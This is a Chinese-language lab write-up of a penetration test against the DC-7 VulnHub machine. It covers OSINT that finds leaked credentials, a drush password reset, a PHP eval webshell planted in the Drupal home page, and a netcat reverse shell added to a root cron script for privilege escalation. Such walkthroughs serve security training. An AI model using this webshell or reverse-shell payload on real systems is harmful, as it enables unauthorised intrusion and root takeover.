DC-7 靶机渗透测试

📅 2026/7/30 3:32:55
DC-7 靶机渗透测试
今天我们要学习的是DC-7靶机的渗透测试靶机下载地址Vulnerable By Design - Search: DC-7 ~ VulnHubDC-7它的模拟场景刻意设计成不依赖常规的技术漏洞而是考验跳出盒子外的侦查和思维能力。整个挑战的精髓就在于利用公开的社工信息作为突破口然后通过逻辑链条一步步拿下系统最高权限。我们准备好攻击机和靶场后第一步肯定是使用nmap开路这里我们先扫描出来dc-7靶机的IP的地址192.168.42.154我们获取到IP地址后再进行下一步的端口扫描扫描看看靶机开放了哪些端口这里我们可以看到靶机开发了22和80端口同时我们在扫描出来的信息上也发现了有用的信息他的CMS用的是Drupal。这里我们先访问他的网页看看网页上面可以看到有Log in的交互选项我们是不是可以考虑进行爆破账号密码呢但网页中内容很明确的告诉过你这个是爆破不出来的但既然有登录框我们肯定就想登录上去看看所以就需要考虑另一个方向我们可以在网页最下面的位置可以看到有一个DC7USER一般后面通常跟的是一个“身份标识”或“命名空间”最常见于社交媒体的用户名所以这里就有一个很奇思妙想的办法就是去GitHub上找一找有没有这个用户这里我们看到确实有这样一个用户我们点进去看看里面有什么内容我们可以在里面看到有config.php这样一个文件。config.php是Web应用中最核心的配置文件你可以把它理解为整个网站的“启动钥匙”和“枢纽总成”。在 PHP 项目中它主要存放所有环境相关的敏感变量和全局设置。我们点击进去可以看到里面有账号和密码既然我们拿到了账号dc7user 密码MdR3xOgB7#dW 我们就可以尝试登录进去但我们尝试登录却一直提示密码或者账号错误这里我们就需要想到22端口还是开放的我们可以尝试从22端口进去我们很顺利的从22端口进去了老步骤进去先看看我是谁我在哪儿既然能够进去我们先到处看看文件里面是否有我们有用的信息我们在看mbox文件时发现了里面存在Cron rootdc-7 /opt/scripts/backups.sh这样一个计划任务。这个计划任务代表什么呢Cron表示这条日志是由Cron守护进程定时任务服务产生的。Cron 是 Linux 中负责按计划自动执行任务的工具类似于Windows的“任务计划程序”。rootdc-7这里的 root 表示执行该任务的身份用户dc-7 是这台主机的主机名。完整含义是以超级管理员root的身份在名为 dc-7 的这台机器上执行了某个操作。/opt/scripts/backups.sh这是被执行的脚本文件的绝对路径。脚本位于 /opt/scripts/ 目录下名字叫 backups.sh。从文件名 backups 推断这通常是一个备份脚本可能用于打包网站源码、导出数据库等。这里我们就可以发现既然是 root 执行的那么这个脚本内部的所有命令都拥有系统最高权限。一旦脚本内容被恶意篡改攻击者就能获得最高控制权。这里我们先去看看backups.sh文件里面有什么内容这里我们可以看到文件里面执行了一个使用DrushDrupal命令行管理工具执行数据库导出的命令。Drush是什么呢Drush 是 Drupal 内容管理系统的官方命令行工具类似 Laravel 的 artisan 或 WordPress 的 wp-cli。它可以让管理员在不登录网页后台的情况下通过终端完成安装模块、更新数据库、清除缓存、导出/导入数据等几乎所有管理操作。我们联想到前面网页有一个登录框那我们是否可以利用这个命令使我们能够通过网页登录呢所以我们需要按照脚本里面的顺序需要先进入到/var/www/html里面我们才有执行drush的权限drush user-password admin --passwordadmin这里我们创建了一个账号为admin 密码为admin的账号现在我们去网页看看能否登录成功可以看到我们成功的进入网页中此时我们就需要知道下一步我们肯定是想获得程序用户www的权限这里我们已经进入管理后台了我们就挨个去点着看一下是否有能够利用的信息这里我们点击content里面可以看到这里面就记录了一些网络文件第一个文件就是我们的首页文件我们可以尝试修改文件内容我们这里肯定是需要写一些后端的代码来进行后续的操作组件默认不支持PHP可以使用远程安装的方式下载PHP组件这里我们点击安装新模块https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz安装完成后我们启用插件选上PHP选项这里我们就可以看到有PHP code了我们就可以在首页写入木马?php eval($_POST[cmd]);?保存后我们使用蚁剑:连接成功后我们进行添加。我们在虚拟终端上看当前用户然后我们需要找到脚本位置修改脚本我们写一个反弹的脚本在文件中nc 192.168.42.134 4444 -e /bin/bash我们在kali机上监听4444端口因为这个计划任务是每十五分钟执行一次使用需要等到他任务计划执行这里我们可以看到我们已经拿到了root权限。通过DC-7靶机的渗透测试过程我们可以总结出以下核心思路和关键知识点渗透测试核心思路信息收集与社工结合DC-7靶机的核心突破点在于将传统信息收集端口扫描、CMS识别与开源情报OSINT相结合。通过网页底部的DC7USER提示联想到在GitHub等平台搜索相关信息成功找到包含敏感配置文件的仓库。权限提升路径设计整个渗透过程展现了清晰的权限提升链条SSH低权限用户 → Drupal后台管理员 → WebShell获取www-data权限 → 定时任务提权到root。利用现有工具链充分利用目标系统已有的工具Drush和功能Drupal模块安装来实现权限提升而非依赖外部漏洞利用。关键技术知识点信息收集阶段Nmap端口扫描识别开放端口22/80和服务信息CMS指纹识别识别Drupal系统及其版本开源情报收集通过社交媒体线索查找敏感信息初始访问阶段SSH弱密码/默认凭证利用配置文件泄露风险config.php等敏感文件不应提交到版本控制系统GitHub等代码托管平台的信息泄露风险权限提升阶段Drush工具利用Drupal命令行工具的强大功能可以绕过Web界面直接修改用户密码Cron定时任务分析通过邮件日志/var/mail发现root权限的定时任务定时任务提权利用root权限的定时任务脚本实现权限提升Drupal模块安装通过安装PHP Filter模块实现代码执行WebShell部署使用蚁剑等工具管理WebShell后渗透阶段系统信息收集whoami, pwd, ls等文件系统遍历寻找敏感文件计划任务脚本分析与修改反向Shell建立与维持学习收获思维转变从技术漏洞利用转向逻辑链条构建理解社会工程学在渗透测试中的重要性。工具链理解深入理解Drush、Cron、Drupal等系统组件的安全影响。权限提升技巧掌握通过现有系统功能和配置实现权限提升的方法。防御视角从攻击者角度理解防御措施的重要性建立更全面的安全防护意识。DC-7靶机通过模拟真实世界的安全场景强调了跳出盒子思考的重要性。在实际渗透测试和防御中不仅要关注技术漏洞更要关注配置错误、权限管理和人为因素带来的安全风险。